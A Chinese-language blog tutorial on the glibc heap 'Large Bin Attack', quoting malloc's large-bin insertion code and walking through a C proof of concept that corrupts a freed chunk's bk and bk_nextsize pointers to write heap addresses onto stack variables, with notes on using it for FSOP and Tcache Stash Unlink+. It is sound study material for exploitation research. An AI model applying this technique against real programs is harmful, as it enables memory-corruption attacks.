堆利用之LargeBin-attack


[TOC]

参考https://hollk.blog.csdn.net/article/details/11282555

基础知识

Large Bins

large bin 中一共包括63个bin,每个 bin 中的 chunk 大小不一致,而是出于一定区间范围内。此外这63个 bin 被分成了6组,每组 bin 中的 chunk 之间的公差一致;

Large Chunk

大于 0x3F0 字节的 chunk 称之为 large chunk,large bin 就是用来管理这些 large chunk 的;

被释放进 Large Bins 中的 chunk,除了有 prev_size、size、fd、bk之外,还具有 fd_nextsize 和 bk_nextsize:

  • fd_nextsize,bk_nextsize:只有c hunk 空闲的时候才使用,不过用于较大的 large chunk
  • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含bin的头指针
  • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针
  • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历

Large Bin的插入顺序

在index相同的情况下:

  • 1、按照大小,从大到小排序(小的链接large bin块)
  • 2、如果大小相同,按照 free 的时间排序
  • 3、多个大小相同的堆块,只有首堆块的 fd_nextsize 和 bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
  • 4、size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk

从unsorted bin中摘除chunk的代码

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av); //这里是不是很熟悉,unsorted bin attack是利用到这段代码

/* Take now instead of binning if exact fit */

if (size == nb)
  {
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
      victim->size |= NON_MAIN_ARENA;
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
  }

/* place chunk in bin */

if (in_smallbin_range (size))
  {
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
  }
else
  {
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;

    /* maintain large bins in sorted order */
    if (fwd != bck)
      {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
        if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
          {
            fwd = bck;
            bck = bck->bk;

            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
        else
          { //挂入largebins中
            assert ((fwd->size & NON_MAIN_ARENA) == 0);
            while ((unsigned long) size < fwd->size)
              {
                fwd = fwd->fd_nextsize;
                assert ((fwd->size & NON_MAIN_ARENA) == 0);
              }

            if ((unsigned long) size == (unsigned long) fwd->size)
              /* Always insert in the second position.  */
              fwd = fwd->fd;
            else
              {//large bin attack利用代码
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

Large Bin Attack 实例

eg:实例如下

#include <stdio.h>
#include <stdlib.h>
 
int main()
{ 
   unsigned long stack_var1 = 0;
   unsigned long stack_var2 = 0;
 
   fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
   fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
 
   unsigned long *chunk1 = malloc(0x320);
   malloc(0x20);
   unsigned long *chunk2 = malloc(0x400);
   malloc(0x20);
   unsigned long *chunk3 = malloc(0x400);
   malloc(0x20);
  
   free(chunk1);
   free(chunk2);
  
   void* chunk4 = malloc(0x90);
   free(chunk3); 
   chunk2[-1] = 0x3f1;
   chunk2[0] = 0;
   chunk2[2] = 0;
   chunk2[1] = (unsigned long)(&stack_var1 - 2);
   chunk2[3] = (unsigned long)(&stack_var2 - 4);
  
   malloc(0x90);
  
   fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
   fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
   return 0;
}

我们先创建 0x330,0x410,0x410大小的 chunk1-3(中间的 0x30 的 chunk 是防止合并的),然后依次释放 chunk1、chunk2后结构如下:

不属于 fastbin 的 chunk 在释放后会先放到 unsortedbin 中过渡:这里 chunk2 > 0x3F0 所以 chunk2是 large chunk,而 chun1 是 small chunk

接下来再去申请 0x100 大小的 chunk4 注意此时 glibc 背后执行的操作:

  • 首先检查 fastbins、smallbins中是否有满足该大小的空闲chunk,如果有则取出分配给chunk4
  • 若 fastbins、smallbins中没有满足该大小的空闲chunk,则遍历unsortedbin,将其中的 chunk 放到对应的 bin 中
  • 然后在遍历相应 bins 中的 chunk,若有大于它的,则将其分割,并将分割后剩余部分放进 unsortedbin 中

可以看到,chunk1 被分割后剩余的 chunk1_leave放进了 unsortedbin 中,chunk2被放进了 largebins 中

然后再释放大小为 0x410 的 chunk3,大小大于 0x3F0 属于 large chunk,但是也会放进 unsortedbin 中过渡

此时再去修改 chunk2 的 size、fd、bk、fd_nextsize、bk_nextsize域

修改前:

修改后:bk = &stack_var1 - 2bk_nextsize = &stack_var2 - 4,并且 size 被改小了

此时相对位置如下:p2 就是 chunk2

然后在 malloc(0x90),在malloc(0x90)前,bins 中情况如下,所以没有对应大小的空闲 chunk,所以就先把 unsortedbin 中的 chunk 放到对应的 bins 中,然后再分割

这里 chunk3 大小为 0x410,chunk2的大小已经被修改为了 0x3F0

这里把 chunk3 放进 lagrebins 时,会根据chunk3 与 chunk2 的大小关系执行以下操作:

这里 chunk3.size > chunk2.size,所以会执行最后一个 else 里面的内容:

 while ((unsigned long) size < fwd->size)
{
    fwd = fwd->fd_nextsize;
    assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
if ((unsigned long) size == (unsigned long) fwd->size)
    /* Always insert in the second position.  */
    fwd = fwd->fd;
else
{//large bin attack利用代码
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

其中 fwd就是 chunk2,victim就是 chunk3;所以等价于执行下面代码:

chunk3->fd_nextsize = chunk2;
chunk3->bk_nextsize = chunk2->bk_nextsize; //chunk3->bk_nextsize = &stack_var2 - 4
chunk2->bk_nextsize = chunk3;
chunk3->bk_nextsize->fd_nextsize = chunk3; //&stack_var1 = chunk3

所以成功把 chunk3 的块地址赋给了 stack_var2 变量

在执行完 else 即出来完 fd/bk_next_size 指针后,就要出来 fd/bk 指针了,代码如下:

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

其中 victim 为 chunk3,fwd为chunk2,bck为 chunk2->bk;所以等价执行下面代码:

mark_bin (av, victim_index);
chunk3->bk = chunk2->bk; //chunk3->bk = &stack_var1 - 2
chunk3->fd = chunk2;
chunk2->bk = chunk3; //&stack_var1 = chunk
chunk2->bk->fd = chunk3;

所以 stack_var1 的值就被修改成了 chunk3 的块地址

总结

利用条件:

  • 可以修改一个large bin chunk的data
  • 从unsorted bin中来的large bin chunk要紧跟在被构造过的chunk的后面
  • unsorted 中的 large chunk 大小大于 原来在large chunk的大小,但是要是同一 index;所以上面 demo 中,我们也可以不修改chunk2的大小,即不需要执行chunk2[-1] = 0x3f1;这条语句,我们只需要把 chunk3 稍微malloc 大一些(大于chunk2),但是得是同一 index 的large chunk哦>_<

作用:

  • 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击
  • 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录